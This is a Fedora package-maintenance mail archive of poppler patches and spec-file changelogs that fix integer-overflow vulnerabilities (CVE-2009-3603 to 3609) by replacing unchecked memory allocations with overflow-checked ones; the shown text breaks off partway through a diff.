CVE-2009-0791/CVE-2009-3605 CVE-2009-3604 CVE-2009-3606

diff -pruN poppler-0.10.7.orig/glib/poppler-page.cc poppler-0.10.7/glib/poppler-page.cc
--- poppler-0.10.7.orig/glib/poppler-page.cc	2009-05-02 14:14:57.000000000 +0200
+++ poppler-0.10.7/glib/poppler-page.cc	2009-10-24 20:01:57.000000000 +0200
@@ -291,7 +291,7 @@ poppler_page_prepare_output_dev (Poppler
 
   output_dev = page->document->output_dev;
   cairo_rowstride = cairo_width * 4;
-  cairo_data = (guchar *) gmalloc (cairo_height * cairo_rowstride);
+  cairo_data = (guchar *) gmallocn (cairo_height, cairo_rowstride);
   if (transparent)
       memset (cairo_data, 0x00, cairo_height * cairo_rowstride);
   else
diff -pruN poppler-0.10.7.orig/goo/gmem.cc poppler-0.10.7/goo/gmem.cc
--- poppler-0.10.7.orig/goo/gmem.cc	2009-05-02 14:14:57.000000000 +0200
+++ poppler-0.10.7/goo/gmem.cc	2009-10-24 20:01:57.000000000 +0200
@@ -206,6 +206,32 @@ void *gmallocn_checkoverflow(int nObjs, 
   return gmalloc(n);
 }
 
+void *gmallocn3(int a, int b, int c) GMEM_EXCEP {
+  int n = a * b;
+  if (b <= 0 || a < 0 || a >= INT_MAX / b) {
+#if USE_EXCEPTIONS
+    throw GMemException();
+#else
+    fprintf(stderr, "Bogus memory allocation size\n");
+    exit(1);
+#endif
+  }
+  return gmallocn(n, c);
+}
+
+void *gmallocn3_checkoverflow(int a, int b, int c) GMEM_EXCEP {
+  int n = a * b;
+  if (b <= 0 || a < 0 || a >= INT_MAX / b) {
+#if USE_EXCEPTIONS
+    throw GMemException();
+#else
+    fprintf(stderr, "Bogus memory allocation size\n");
+    return NULL;
+#endif
+  }
+  return gmallocn_checkoverflow(n, c);
+}
+
 void *greallocn(void *p, int nObjs, int objSize) GMEM_EXCEP {
   int n;
 
diff -pruN poppler-0.10.7.orig/goo/gmem.h poppler-0.10.7/goo/gmem.h
--- poppler-0.10.7.orig/goo/gmem.h	2009-05-02 14:14:57.000000000 +0200
+++ poppler-0.10.7/goo/gmem.h	2009-10-24 20:01:57.000000000 +0200
@@ -70,6 +70,8 @@ extern void *grealloc(void *p, size_t si
  */
 extern void *gmallocn(int nObjs, int objSize) GMEM_EXCEP;
 extern void *gmallocn_checkoverflow(int nObjs, int objSize) GMEM_EXCEP;
+extern void *gmallocn3(int a, int b, int c) GMEM_EXCEP;
+extern void *gmallocn3_checkoverflow(int a, int b, int c) GMEM_EXCEP;
 extern void *greallocn(void *p, int nObjs, int objSize) GMEM_EXCEP;
 extern void *greallocn_checkoverflow(void *p, int nObjs, int objSize) GMEM_EXCEP;
 
diff -pruN poppler-0.10.7.orig/poppler/ArthurOutputDev.cc poppler-0.10.7/poppler/ArthurOutputDev.cc
--- poppler-0.10.7.orig/poppler/ArthurOutputDev.cc	2009-05-16 17:27:41.000000000 +0200
+++ poppler-0.10.7/poppler/ArthurOutputDev.cc	2009-10-24 20:01:57.000000000 +0200
@@ -752,7 +752,7 @@ void ArthurOutputDev::drawImage(GfxState
   QMatrix matrix;
   int is_identity_transform;
   
-  buffer = (unsigned char *)gmalloc (width * height * 4);
+  buffer = (unsigned char *)gmallocn3(width, height, 4);
 
   /* TODO: Do we want to cache these? */
   imgStr = new ImageStream(str, width,
diff -pruN poppler-0.10.7.orig/poppler/CairoOutputDev.cc poppler-0.10.7/poppler/CairoOutputDev.cc
--- poppler-0.10.7.orig/poppler/CairoOutputDev.cc	2009-05-16 17:27:41.000000000 +0200
+++ poppler-0.10.7/poppler/CairoOutputDev.cc	2009-10-24 20:01:57.000000000 +0200
@@ -550,7 +550,7 @@ void CairoOutputDev::beginString(GfxStat
   if (!currentFont)
     return;
 
-  glyphs = (cairo_glyph_t *) gmalloc (len * sizeof (cairo_glyph_t));
+  glyphs = (cairo_glyph_t *) gmallocn (len, sizeof (cairo_glyph_t));
   glyphCount = 0;
 }
 
@@ -1007,7 +1007,7 @@ void CairoOutputDev::drawImageMaskRegula
   int row_stride;
 
   row_stride = (width + 3) & ~3;
-  buffer = (unsigned char *) malloc (height * row_stride);
+  buffer = (unsigned char *) gmallocn (height, row_stride);
   if (buffer == NULL) {
     error(-1, "Unable to allocate memory for image.");
     return;
@@ -1174,7 +1174,7 @@ void CairoOutputDev::drawImageMaskPresca
   invert_bit = invert ? 1 : 0;
 
   row_stride = (scaledWidth + 3) & ~3;
-  buffer = (unsigned char *) malloc (scaledHeight * row_stride);
+  buffer = (unsigned char *) gmallocn (scaledHeight, row_stride);
   if (buffer == NULL) {
     error(-1, "Unable to allocate memory for image.");
     return;
@@ -1367,7 +1367,7 @@ void CairoOutputDev::drawMaskedImage(Gfx
 
   int row_stride = (maskWidth + 3) & ~3;
   unsigned char *maskBuffer;
-  maskBuffer = (unsigned char *)gmalloc (row_stride * maskHeight);
+  maskBuffer = (unsigned char *)gmallocn (row_stride, maskHeight);
   unsigned char *maskDest;
   cairo_surface_t *maskImage;
   cairo_pattern_t *maskPattern;
@@ -1402,7 +1402,7 @@ void CairoOutputDev::drawMaskedImage(Gfx
   cairo_matrix_t matrix;
   int is_identity_transform;
 
-  buffer = (unsigned char *)gmalloc (width * height * 4);
+  buffer = (unsigned char *)gmallocn3 (width, height, 4);
 
   /* TODO: Do we want to cache these? */
   imgStr = new ImageStream(str, width,
@@ -1494,7 +1494,7 @@ void CairoOutputDev::drawSoftMaskedImage
 
   int row_stride = (maskWidth + 3) & ~3;
   unsigned char *maskBuffer;
-  maskBuffer = (unsigned char *)gmalloc (row_stride * maskHeight);
+  maskBuffer = (unsigned char *)gmallocn (row_stride, maskHeight);
   unsigned char *maskDest;
   cairo_surface_t *maskImage;
   cairo_pattern_t *maskPattern;
@@ -1521,7 +1521,7 @@ void CairoOutputDev::drawSoftMaskedImage
   cairo_matrix_t maskMatrix;
   int is_identity_transform;
 
-  buffer = (unsigned char *)gmalloc (width * height * 4);
+  buffer = (unsigned char *)gmallocn3 (width, height, 4);
 
   /* TODO: Do we want to cache these? */
   imgStr = new ImageStream(str, width,
@@ -1616,7 +1616,7 @@ void CairoOutputDev::drawImage(GfxState 
   cairo_matrix_t matrix;
   int is_identity_transform;
   
-  buffer = (unsigned char *)gmallocn (width, height * 4);
+  buffer = (unsigned char *)gmallocn3 (width, height, 4);
 
   /* TODO: Do we want to cache these? */
   imgStr = new ImageStream(str, width,
diff -pruN poppler-0.10.7.orig/poppler/GfxState.cc poppler-0.10.7/poppler/GfxState.cc
--- poppler-0.10.7.orig/poppler/GfxState.cc	2009-05-02 14:14:57.000000000 +0200
+++ poppler-0.10.7/poppler/GfxState.cc	2009-10-24 20:01:57.000000000 +0200
@@ -1201,7 +1201,7 @@ void GfxIndexedColorSpace::getRGBLine(Gu
   int i, j, n;
 
   n = base->getNComps();
-  line = (Guchar *) gmalloc (length * n);
+  line = (Guchar *) gmallocn (length, n);
   for (i = 0; i < length; i++)
     for (j = 0; j < n; j++)
       line[i * n + j] = lookup[in[i] * n + j];
@@ -3424,7 +3424,7 @@ GfxImageColorMap::GfxImageColorMap(int b
     nComps2 = colorSpace2->getNComps();
     lookup2 = indexedCS->getLookup();
     colorSpace2->getDefaultRanges(x, y, indexHigh);
-    byte_lookup = (Guchar *)gmalloc ((maxPixel + 1) * nComps2);
+    byte_lookup = (Guchar *)gmallocn ((maxPixel + 1), nComps2);
     for (k = 0; k < nComps2; ++k) {
       lookup[k] = (GfxColorComp *)gmallocn(maxPixel + 1,
 					   sizeof(GfxColorComp));
@@ -3572,7 +3572,7 @@ void GfxImageColorMap::getGrayLine(Gucha
   switch (colorSpace->getMode()) {
   case csIndexed:
   case csSeparation:
-    tmp_line = (Guchar *) gmalloc (length * nComps2);
+    tmp_line = (Guchar *) gmallocn (length, nComps2);
     for (i = 0; i < length; i++) {
       for (j = 0; j < nComps2; j++) {
 	tmp_line[i * nComps2 + j] = byte_lookup[in[i] * nComps2 + j];
@@ -3602,7 +3602,7 @@ void GfxImageColorMap::getRGBLine(Guchar
   switch (colorSpace->getMode()) {
   case csIndexed:
   case csSeparation:
-    tmp_line = (Guchar *) gmalloc (length * nComps2);
+    tmp_line = (Guchar *) gmallocn (length, nComps2);
     for (i = 0; i < length; i++) {
       for (j = 0; j < nComps2; j++) {
 	tmp_line[i * nComps2 + j] = byte_lookup[in[i] * nComps2 + j];
diff -pruN poppler-0.10.7.orig/poppler/PSOutputDev.cc poppler-0.10.7/poppler/PSOutputDev.cc
--- poppler-0.10.7.orig/poppler/PSOutputDev.cc	2009-05-02 14:14:57.000000000 +0200
+++ poppler-0.10.7/poppler/PSOutputDev.cc	2009-10-24 20:01:57.000000000 +0200
@@ -2323,7 +2323,7 @@ GooString *PSOutputDev::setupExternalCID
   if ((ffTT = FoFiTrueType::load(fileName->getCString(), faceIndex))) {
       int n = ((GfxCIDFont *)font)->getCIDToGIDLen();
       if (n) {
-	codeToGID = (Gushort *)gmalloc(n * sizeof(Gushort));
+	codeToGID = (Gushort *)gmallocn(n, sizeof(Gushort));
 	memcpy(codeToGID, ((GfxCIDFont *)font)->getCIDToGID(), n * sizeof(Gushort));
       } else {
 	codeToGID = ((GfxCIDFont *)font)->getCodeToGIDMap(ffTT, &n);
@@ -4502,7 +4502,7 @@ void PSOutputDev::doImageL1Sep(GfxImageC
 	     width, -height, height);
 
   // allocate a line buffer
-  lineBuf = (Guchar *)gmalloc(4 * width);
+  lineBuf = (Guchar *)gmallocn(width, 4);
 
   // set up to process the data stream
   imgStr = new ImageStream(str, width, colorMap->getNumPixelComps(),
diff -pruN poppler-0.10.7.orig/poppler/SplashOutputDev.cc poppler-0.10.7/poppler/SplashOutputDev.cc
--- poppler-0.10.7.orig/poppler/SplashOutputDev.cc	2009-05-02 14:14:57.000000000 +0200
+++ poppler-0.10.7/poppler/SplashOutputDev.cc	2009-10-24 20:01:57.000000000 +0200
@@ -2013,7 +2013,7 @@ void SplashOutputDev::drawImage(GfxState
       break;
     case splashModeRGB8:
     case splashModeBGR8:
-      imgData.lookup = (SplashColorPtr)gmalloc(3 * n);
+      imgData.lookup = (SplashColorPtr)gmallocn(n, 3);
       for (i = 0; i < n; ++i) {
 	pix = (Guchar)i;
 	colorMap->getRGB(&pix, &rgb);
@@ -2023,7 +2023,7 @@ void SplashOutputDev::drawImage(GfxState
       }
       break;
     case splashModeXBGR8:
-      imgData.lookup = (SplashColorPtr)gmalloc(4 * n);
+      imgData.lookup = (SplashColorPtr)gmallocn(n, 4);
       for (i = 0; i < n; ++i) {
 	pix = (Guchar)i;
 	colorMap->getRGB(&pix, &rgb);
@@ -2035,7 +2035,7 @@ void SplashOutputDev::drawImage(GfxState
       break;
 #if SPLASH_CMYK
     case splashModeCMYK8:
-      imgData.lookup = (SplashColorPtr)gmalloc(4 * n);
+      imgData.lookup = (SplashColorPtr)gmallocn(n, 4);
       for (i = 0; i < n; ++i) {
 	pix = (Guchar)i;
 	colorMap->getCMYK(&pix, &cmyk);
@@ -2278,7 +2278,7 @@ void SplashOutputDev::drawMaskedImage(Gf
 	break;
       case splashModeRGB8:
       case splashModeBGR8:
-	imgData.lookup = (SplashColorPtr)gmalloc(3 * n);
+	imgData.lookup = (SplashColorPtr)gmallocn(n, 3);
 	for (i = 0; i < n; ++i) {
 	  pix = (Guchar)i;
 	  colorMap->getRGB(&pix, &rgb);
@@ -2288,7 +2288,7 @@ void SplashOutputDev::drawMaskedImage(Gf
 	}
 	break;
       case splashModeXBGR8:
-	imgData.lookup = (SplashColorPtr)gmalloc(4 * n);
+	imgData.lookup = (SplashColorPtr)gmallocn(n, 4);
 	for (i = 0; i < n; ++i) {
 	  pix = (Guchar)i;
 	  colorMap->getRGB(&pix, &rgb);
@@ -2300,7 +2300,7 @@ void SplashOutputDev::drawMaskedImage(Gf
 	break;
 #if SPLASH_CMYK
       case splashModeCMYK8:
-	imgData.lookup = (SplashColorPtr)gmalloc(4 * n);
+	imgData.lookup = (SplashColorPtr)gmallocn(n, 4);
 	for (i = 0; i < n; ++i) {
 	  pix = (Guchar)i;
 	  colorMap->getCMYK(&pix, &cmyk);
@@ -2421,7 +2421,7 @@ void SplashOutputDev::drawSoftMaskedImag
       break;
     case splashModeRGB8:
     case splashModeBGR8:
-      imgData.lookup = (SplashColorPtr)gmalloc(3 * n);
+      imgData.lookup = (SplashColorPtr)gmallocn(n, 3);
       for (i = 0; i < n; ++i) {
 	pix = (Guchar)i;
 	colorMap->getRGB(&pix, &rgb);
@@ -2431,7 +2431,7 @@ void SplashOutputDev::drawSoftMaskedImag
       }
       break;
     case splashModeXBGR8:
-      imgData.lookup = (SplashColorPtr)gmalloc(4 * n);
+      imgData.lookup = (SplashColorPtr)gmallocn(n, 4);
       for (i = 0; i < n; ++i) {
 	pix = (Guchar)i;
 	colorMap->getRGB(&pix, &rgb);
@@ -2443,7 +2443,7 @@ void SplashOutputDev::drawSoftMaskedImag
       break;
 #if SPLASH_CMYK
     case splashModeCMYK8:
-      imgData.lookup = (SplashColorPtr)gmalloc(4 * n);
+      imgData.lookup = (SplashColorPtr)gmallocn(n, 4);
       for (i = 0; i < n; ++i) {
 	pix = (Guchar)i;
 	colorMap->getCMYK(&pix, &cmyk);
diff -pruN poppler-0.10.7.orig/splash/Splash.cc poppler-0.10.7/splash/Splash.cc
--- poppler-0.10.7.orig/splash/Splash.cc	2009-05-02 14:14:57.000000000 +0200
+++ poppler-0.10.7/splash/Splash.cc	2009-10-24 20:01:57.000000000 +0200
@@ -2001,7 +2001,7 @@ SplashError Splash::fillImageMask(Splash
   xq = w % scaledWidth;
 
   // allocate pixel buffer
-  pixBuf = (SplashColorPtr)gmalloc((yp + 1) * w);
+  pixBuf = (SplashColorPtr)gmallocn((yp + 1), w);
 
   // initialize the pixel pipe
   pipeInit(&pipe, 0, 0, state->fillPattern, NULL, state->fillAlpha,
@@ -2301,9 +2301,9 @@ SplashError Splash::drawImage(SplashImag
   xq = w % scaledWidth;
 
   // allocate pixel buffers
-  colorBuf = (SplashColorPtr)gmalloc((yp + 1) * w * nComps);
+  colorBuf = (SplashColorPtr)gmallocn3((yp + 1), w, nComps);
   if (srcAlpha) {
-    alphaBuf = (Guchar *)gmalloc((yp + 1) * w);
+    alphaBuf = (Guchar *)gmallocn((yp + 1), w);
   } else {
     alphaBuf = NULL;
   }
diff -pruN poppler-0.10.7.orig/splash/SplashBitmap.cc poppler-0.10.7/splash/SplashBitmap.cc
--- poppler-0.10.7.orig/splash/SplashBitmap.cc	2009-05-02 14:14:57.000000000 +0200
+++ poppler-0.10.7/splash/SplashBitmap.cc	2009-10-24 20:01:57.000000000 +0200
@@ -68,7 +68,7 @@ SplashBitmap::SplashBitmap(int widthA, i
     rowSize = -rowSize;
   }
   if (alphaA) {
-    alpha = (Guchar *)gmalloc(width * height);
+    alpha = (Guchar *)gmallocn(width, height);
   } else {
     alpha = NULL;
   }
diff -pruN poppler-0.10.7.orig/splash/SplashFTFont.cc poppler-0.10.7/splash/SplashFTFont.cc
--- poppler-0.10.7.orig/splash/SplashFTFont.cc	2009-05-02 14:14:57.000000000 +0200
+++ poppler-0.10.7/splash/SplashFTFont.cc	2009-10-24 20:01:57.000000000 +0200
@@ -243,7 +243,7 @@ GBool SplashFTFont::makeGlyph(int c, int
   } else {
     rowSize = (bitmap->w + 7) >> 3;
   }
-  bitmap->data = (Guchar *)gmalloc(rowSize * bitmap->h);
+  bitmap->data = (Guchar *)gmallocn_checkoverflow(rowSize, bitmap->h);
   bitmap->freeData = gTrue;
   for (i = 0, p = bitmap->data, q = slot->bitmap.buffer;
        i < bitmap->h;


Index: poppler.spec
===================================================================
RCS file: /cvs/pkgs/rpms/poppler/F-11/poppler.spec,v
retrieving revision 1.86
retrieving revision 1.87
diff -u -p -r1.86 -r1.87
--- poppler.spec	23 Jun 2009 17:28:33 -0000	1.86
+++ poppler.spec	25 Oct 2009 22:37:39 -0000	1.87
@@ -3,7 +3,7 @@
 Summary: PDF rendering library
 Name: poppler
 Version: 0.10.7
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2 and Redistributable, no modification permitted
 # the code is GPLv2
 # the charmap data in /usr/share/poppler is redistributable
@@ -18,6 +18,13 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 # reduce lib deps in -qt/-qt4 pkg-config support
 Patch50: poppler-0.11.0-pkg_config.patch
 
+# gmalloc hardening fixes
+Patch60: poppler-0.10.7-gmallocn.patch
+# security fixes from xpdf 3.02pl4 / 1082e1671a
+Patch61: poppler-0.10.7-CVE-2009-360x.patch
+# CVE-2009-3607 / c839b70609
+Patch62: poppler-0.10.7-CVE-2009-3607.patch
+
 BuildRequires: automake libtool
 BuildRequires: gtk2-devel
 BuildRequires: cairo-devel
@@ -112,6 +119,9 @@ converting PDF files to a number of othe
 pushd %{name}-%{version}
 %patch0 -p0 -b .objstream
 %patch50 -p1 -b .pkg_config
+%patch60 -p1 -b .gmallocn
+%patch61 -p1 -b .CVE-2009-360x
+%patch62 -p1 -b .CVE-2009-3607
 # hammer to nuke rpaths, recheck on new releases
 autoreconf -i -f
 popd
@@ -223,6 +233,20 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.10.7-3
+- CVE-2009-3603 xpdf/popppler: SplashBitmap::SplashBitmap
+  integer overflow (#526915)
+- CVE-2009-3604 xpdf/poppler: Splash::drawImage integer overflow
+  and missing allocation return value check(#526911)
+- CVE-2009-3606 xpdf/poppler: PSOutputDev::doImageL1Sep
+  integer overflow (#526877)
+- CVE-2009-3607 poppler: create_surface_from_thumbnail_data
+  integer overflow (#526924)
+- CVE-2009-3608 xpdf/poppler: integer overflow in
+  ObjectStream::ObjectStream (#526637)
+- CVE-2009-3609 xpdf/poppler: ImageStream::ImageStream
+  integer overflow (#526893)
+
 * Mon Jun 22 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.10.7-2
 - reduce lib deps in qt/qt4 pkg-config support
 



From rdieter at fedoraproject.org  Sun Oct 25 22:38:42 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun, 25 Oct 2009 22:38:42 +0000 (UTC)
Subject: rpms/poppler/F-10 poppler.spec,1.80,1.81
Message-ID: <20091025223842.8E90E11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/poppler/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7241

Modified Files:
	poppler.spec 
Log Message:
* Sun Oct 25 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.8.8-7
- CVE-2009-3603 xpdf/popppler: SplashBitmap::SplashBitmap
  integer overflow (#526915)
- CVE-2009-3604 xpdf/poppler: Splash::drawImage integer overflow
  and missing allocation return value check(#526911)
- CVE-2009-3606 xpdf/poppler: PSOutputDev::doImageL1Sep
  integer overflow (#526877)
- CVE-2009-3607 poppler: create_surface_from_thumbnail_data
  integer overflow (#526924)
- CVE-2009-3608 xpdf/poppler: integer overflow in
  ObjectStream::ObjectStream (#526637)
- CVE-2009-3609 xpdf/poppler: ImageStream::ImageStream
  integer overflow (#526893)



Index: poppler.spec
===================================================================
RCS file: /cvs/pkgs/rpms/poppler/F-10/poppler.spec,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- poppler.spec	23 Jun 2009 19:52:00 -0000	1.80
+++ poppler.spec	25 Oct 2009 22:38:42 -0000	1.81
@@ -3,7 +3,7 @@
 Summary: PDF rendering library
 Name: poppler
 Version: 0.8.7
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: GPLv2 and Redistributable, no modification permitted
 # the code is GPLv2
 # the charmap data in /usr/share/poppler is redistributable
@@ -11,6 +11,7 @@ Group: Development/Libraries
 URL:     http://poppler.freedesktop.org/
 Source0: http://poppler.freedesktop.org/poppler-%{version}.tar.gz
 Source1: http://poppler.freedesktop.org/poppler-data-%{dataversion}.tar.gz
+
 Patch0: poppler-ObjStream.patch
 # fix from upstream
 Patch1: pdftops-large-image.patch
@@ -20,6 +21,12 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 # borrowed from debian/ubuntu
 Patch50: 64_security_jbig2.patch
+# gmalloc hardening fixes
+Patch60: poppler-0.8.7-gmallocn.patch
+# security fixes from xpdf 3.02pl4 / 1082e1671a
+Patch61: poppler-0.8.7-CVE-2009-360x.patch
+# CVE-2009-3607 / c839b70609
+Patch62: poppler-0.8.7-CVE-2009-3607.patch
 
 BuildRequires: automake libtool
 BuildRequires: cairo-devel
@@ -117,6 +124,9 @@ pushd %{name}-%{version}
 %patch1 -p1 -b .large-image
 %patch2 -p1 -b .qt4psprint
 %patch50 -p1 -b .jbig2_security
+%patch60 -p1 -b .gmallocn
+%patch61 -p1 -b .CVE-2009-360x
+%patch62 -p1 -b .CVE-2009-3607
 # hammer to nuke rpaths, recheck on new releases
 autoreconf -i -f
 popd
@@ -226,8 +236,22 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.8.8-7
+- CVE-2009-3603 xpdf/popppler: SplashBitmap::SplashBitmap
+  integer overflow (#526915)
+- CVE-2009-3604 xpdf/poppler: Splash::drawImage integer overflow
+  and missing allocation return value check(#526911)
+- CVE-2009-3606 xpdf/poppler: PSOutputDev::doImageL1Sep
+  integer overflow (#526877)
+- CVE-2009-3607 poppler: create_surface_from_thumbnail_data
+  integer overflow (#526924)
+- CVE-2009-3608 xpdf/poppler: integer overflow in
+  ObjectStream::ObjectStream (#526637)
+- CVE-2009-3609 xpdf/poppler: ImageStream::ImageStream
+  integer overflow (#526893)
+
 * Tue Jan 23 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.8.7-6
-- use backported jbig2_security patch from debian/ubuntu
+- use backported jbig2_security patch from debian/ubuntu (#496942)
 - poppler-data-0.2.1
 - --enable-libjpeg (speed)
 - track sonames



From rdieter at fedoraproject.org  Sun Oct 25 22:42:08 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun, 25 Oct 2009 22:42:08 +0000 (UTC)
Subject: rpms/poppler/F-10 poppler-0.8.7-CVE-2009-3607.patch, NONE,
	1.1 poppler-0.8.7-CVE-2009-360x.patch, NONE,
	1.1 poppler-0.8.7-gmallocn.patch, NONE, 1.1
Message-ID: <20091025224208.D655611C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/poppler/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8893

Added Files:
	poppler-0.8.7-CVE-2009-3607.patch 
	poppler-0.8.7-CVE-2009-360x.patch poppler-0.8.7-gmallocn.patch 
Log Message:
import patches


poppler-0.8.7-CVE-2009-3607.patch:
 poppler-page.cc |   20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

--- NEW FILE poppler-0.8.7-CVE-2009-3607.patch ---
http://cgit.freedesktop.org/poppler/poppler/commit/?id=c839b70609

CVE-2009-3607

diff -pruN poppler-0.8.7.orig/glib/poppler-page.cc poppler-0.8.7/glib/poppler-page.cc
--- poppler-0.8.7.orig/glib/poppler-page.cc	2009-10-25 21:08:31.000000000 +0100
+++ poppler-0.8.7/glib/poppler-page.cc	2009-10-25 21:19:36.000000000 +0100
@@ -573,28 +573,28 @@ create_surface_from_thumbnail_data (guch
 				    gint    rowstride)
 {
   guchar *cairo_pixels;
+  gint cairo_stride;
   cairo_surface_t *surface;
-  static cairo_user_data_key_t key;
   int j;
 
-  cairo_pixels = (guchar *)g_malloc (4 * width * height);
-  surface = cairo_image_surface_create_for_data ((unsigned char *)cairo_pixels,
-						 CAIRO_FORMAT_RGB24,
-						 width, height, 4 * width);
-  cairo_surface_set_user_data (surface, &key,
-			       cairo_pixels, (cairo_destroy_func_t)g_free);
+  surface = cairo_image_surface_create (CAIRO_FORMAT_RGB24, width, height);
+  if (cairo_surface_status (surface))
+    return NULL;
+
+  cairo_pixels = cairo_image_surface_get_data (surface);
+  cairo_stride = cairo_image_surface_get_stride (surface);
 
   for (j = height; j; j--) {
     guchar *p = data;
     guchar *q = cairo_pixels;
     guchar *end = p + 3 * width;
-	  
+
     while (p < end) {
 #if G_BYTE_ORDER == G_LITTLE_ENDIAN
       q[0] = p[2];
       q[1] = p[1];
       q[2] = p[0];
-#else	  
+#else
       q[1] = p[0];
       q[2] = p[1];
       q[3] = p[2];
@@ -604,7 +604,7 @@ create_surface_from_thumbnail_data (guch
     }
 
     data += rowstride;
-    cairo_pixels += 4 * width;
+    cairo_pixels += cairo_stride;
   }
 
   return surface;

poppler-0.8.7-CVE-2009-360x.patch:
 poppler/Stream.cc         |    4 ++++
 poppler/XRef.cc           |   15 ++++++++++++---
 poppler/XRef.h            |    3 +++
 splash/Splash.cc          |    7 +++++++
 splash/SplashBitmap.cc    |   37 ++++++++++++++++++++++++++++++-------
 splash/SplashErrorCodes.h |    4 +++-
 6 files changed, 59 insertions(+), 11 deletions(-)

--- NEW FILE poppler-0.8.7-CVE-2009-360x.patch ---
http://cgit.freedesktop.org/poppler/poppler/commit/?id=1082e1671a

CVE-2009-3603 CVE-2009-3608 CVE-2009-3609

diff -pruN poppler-0.8.7.orig/poppler/Stream.cc poppler-0.8.7/poppler/Stream.cc
--- poppler-0.8.7.orig/poppler/Stream.cc	2008-06-07 03:05:52.000000000 +0200
+++ poppler-0.8.7/poppler/Stream.cc	2009-10-25 21:06:31.000000000 +0100
@@ -381,6 +381,10 @@ ImageStream::ImageStream(Stream *strA, i
   } else {
     imgLineSize = nVals;
   }
+  if (width > INT_MAX / nComps) {
+    // force a call to gmallocn(-1,...), which will throw an exception
+    imgLineSize = -1;
+  }
   imgLine = (Guchar *)gmallocn(imgLineSize, sizeof(Guchar));
   imgIdx = nVals;
 }
diff -pruN poppler-0.8.7.orig/poppler/XRef.cc poppler-0.8.7/poppler/XRef.cc
--- poppler-0.8.7.orig/poppler/XRef.cc	2009-10-25 21:04:57.000000000 +0100
+++ poppler-0.8.7/poppler/XRef.cc	2009-10-25 21:06:31.000000000 +0100
@@ -61,6 +61,7 @@ ObjectStream::ObjectStream(XRef *xref, i
   objs = NULL;
   objNums = NULL;
   offsets = NULL;
+  ok = gFalse;
 
   if (!xref->fetch(objStrNum, 0, &objStr)->isStream()) {
     goto err1;
@@ -87,8 +88,11 @@ ObjectStream::ObjectStream(XRef *xref, i
     goto err1;
   }
 
-  if (nObjects*(int)sizeof(int)/sizeof(int) != nObjects) {
-    error(-1, "Invalid 'nObjects'");
+  // this is an arbitrary limit to avoid integer overflow problems
+  // in the 'new Object[nObjects]' call (Acrobat apparently limits
+  // object streams to 100-200 objects)
+  if (nObjects > 1000000) {
+    error(-1, "Too many objects in an object stream");
     goto err1;
   }
  
@@ -148,10 +152,10 @@ ObjectStream::ObjectStream(XRef *xref, i
   }
 
 //   gfree(offsets);
+  ok = gTrue;
 
  err1:
   objStr.free();
-  return;
 }
 
 ObjectStream::~ObjectStream() {
@@ -905,6 +909,11 @@ Object *XRef::fetch(int num, int gen, Ob
 	delete objStr;
       }
       objStr = new ObjectStream(this, e->offset);
+      if (!objStr->isOk()) {
+	delete objStr;
+	objStr = NULL;
+	goto err;
+      }
     }
     objStr->getObject(e->gen, num, obj);
     break;
diff -pruN poppler-0.8.7.orig/poppler/XRef.h poppler-0.8.7/poppler/XRef.h
--- poppler-0.8.7.orig/poppler/XRef.h	2009-10-25 21:04:57.000000000 +0100
+++ poppler-0.8.7/poppler/XRef.h	2009-10-25 21:06:31.000000000 +0100
@@ -27,6 +27,8 @@ public:
   // generation 0.
   ObjectStream(XRef *xref, int objStrNumA);
 
+  GBool isOk() { return ok; }
+
   ~ObjectStream();
 
   // Return the object number of this object stream.
@@ -47,6 +49,7 @@ private:
   int *objNums;			// the object numbers (length = nObjects)
   int *offsets;			// the object offsets (length = nObjects)
   Guint firstOffset;
+  GBool ok;
 };
 
 
diff -pruN poppler-0.8.7.orig/splash/Splash.cc poppler-0.8.7/splash/Splash.cc
--- poppler-0.8.7.orig/splash/Splash.cc	2009-10-25 21:04:57.000000000 +0100
+++ poppler-0.8.7/splash/Splash.cc	2009-10-25 21:06:31.000000000 +0100
@@ -12,6 +12,7 @@
 
 #include <stdlib.h>
 #include <string.h>
+#include <limits.h>
 #include "goo/gmem.h"
 #include "SplashErrorCodes.h"
 #include "SplashMath.h"
@@ -1986,6 +1987,9 @@ SplashError Splash::fillImageMask(Splash
   xq = w % scaledWidth;
 
   // allocate pixel buffer
+  if (yp < 0 || yp > INT_MAX - 1) {
+    return splashErrBadArg;
+  }
   pixBuf = (SplashColorPtr)gmallocn((yp + 1), w);
 
   // initialize the pixel pipe
@@ -2286,6 +2290,9 @@ SplashError Splash::drawImage(SplashImag
   xq = w % scaledWidth;
 
   // allocate pixel buffers
+  if (yp < 0 || yp > INT_MAX - 1) {
+    return splashErrBadArg;
+  }
   colorBuf = (SplashColorPtr)gmallocn3((yp + 1), w, nComps);
   if (srcAlpha) {
     alphaBuf = (Guchar *)gmallocn((yp + 1), w);
diff -pruN poppler-0.8.7.orig/splash/SplashBitmap.cc poppler-0.8.7/splash/SplashBitmap.cc
--- poppler-0.8.7.orig/splash/SplashBitmap.cc	2009-10-25 21:04:57.000000000 +0100
+++ poppler-0.8.7/splash/SplashBitmap.cc	2009-10-25 21:06:31.000000000 +0100
@@ -11,6 +11,7 @@
 #endif
 
 #include <stdio.h>
+#include <limits.h>
 #include "goo/gmem.h"
 #include "SplashErrorCodes.h"
 #include "SplashBitmap.h"
@@ -27,26 +28,48 @@ SplashBitmap::SplashBitmap(int widthA, i
   mode = modeA;
   switch (mode) {
   case splashModeMono1:
